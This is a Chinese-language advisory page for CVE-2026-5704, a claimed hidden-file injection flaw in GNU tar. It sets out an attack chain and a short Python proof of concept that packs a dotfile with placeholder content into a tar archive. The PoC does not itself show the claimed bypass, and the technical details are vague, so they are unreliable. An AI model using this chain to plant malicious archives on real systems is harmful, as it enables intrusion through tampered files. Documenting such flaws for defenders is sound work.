CVE-2026-5704 CVSS 5.0 中危

CVE-2026-5704 tar隐藏文件注入漏洞

披露日期: 2026-04-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5704

漏洞类型

隐藏文件注入

CVSS评分

5.0 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

GNU tar

漏洞概述

CVE-2026-5704 是 tar 归档工具中发现的一个安全漏洞。远程攻击者通过精心构造恶意的存档文件，利用该漏洞可以在目标系统中注入完全受控的隐藏文件。该漏洞的核心风险在于它能够成功绕过常规的解压前文件内容检查机制，使得恶意文件在受害者不知情的情况下被释放到系统中。这不仅可能导致敏感配置被篡改，还为后续的攻击行为提供了隐蔽的落脚点。

技术细节

该漏洞源于 tar 工具在处理特定构造的归档文件时，未能正确验证文件路径和属性的逻辑缺陷。攻击者利用此缺陷，可以在 tar 包中嵌入名称以点开头或包含特定路径信息的隐藏文件，并填充恶意载荷（如脚本或二进制代码）。当用户使用存在漏洞的 tar 版本解压文件时，工具可能忽略安全策略，直接将这些文件写入磁盘。由于文件名具有欺骗性或利用了软链接解析逻辑，传统的静态扫描工具往往无法在解压前有效识别，从而绕过了基于文件名的预提取防御机制。攻击成功后，攻击者可在受影响目录下创建任意文件，破坏系统完整性，甚至可能覆盖系统关键配置文件以植入后门或提升权限，对系统安全构成严重威胁。

攻击链分析

STEP 1

步骤1

攻击者编写脚本，构造一个包含特殊隐藏文件（如以点开头）的恶意 tar 存档文件。

STEP 2

步骤2

攻击者通过网络钓鱼、供应链攻击或文件共享等方式，诱导受害者下载该恶意 tar 文件。

STEP 3

步骤3

受害者使用存在漏洞的 tar 工具对下载的文件进行解压操作。

STEP 4

步骤4

tar 工具在解压过程中未能正确拦截，将隐藏文件写入受害者系统磁盘，绕过了安全检查。

STEP 5

步骤5

恶意文件被释放至系统，可能被系统加载或执行，导致系统完整性受损或进一步被利用。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import tarfile
import os

# Proof of Concept for CVE-2026-5704
# This script demonstrates how to create a tar archive containing a hidden file
# that might bypass pre-extraction inspection mechanisms.

def create_malicious_tar(filename, output_tar):
    with tarfile.open(output_tar, "w") as tar:
        # Create a hidden file with attacker-controlled content
        hidden_file_name = ".malicious_payload"
        content = b"Attacker controlled content"
        
        # Add file to archive
        info = tarfile.TarInfo(name=hidden_file_name)
        info.size = len(content)
        tar.addfile(info, fileobj=io.BytesIO(content))
        
        print(f"[+] Created malicious tar archive: {output_tar}")
        print(f"[+] Archive contains hidden file: {hidden_file_name}")

if __name__ == "__main__":
    import io
    create_malicious_tar("data.txt", "exploit.tar")

影响范围

GNU tar（具体受影响版本请参考官方安全公告）

防御指南

临时缓解措施

建议用户不要解压来源不明的 tar 归档文件。如果必须解压，应先使用 `tar -tvf` 命令列出文件内容，仔细检查是否存在可疑的隐藏文件或异常路径。此外，应在非特权用户下的隔离目录中进行解压操作，以降低对系统核心目录的影响。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表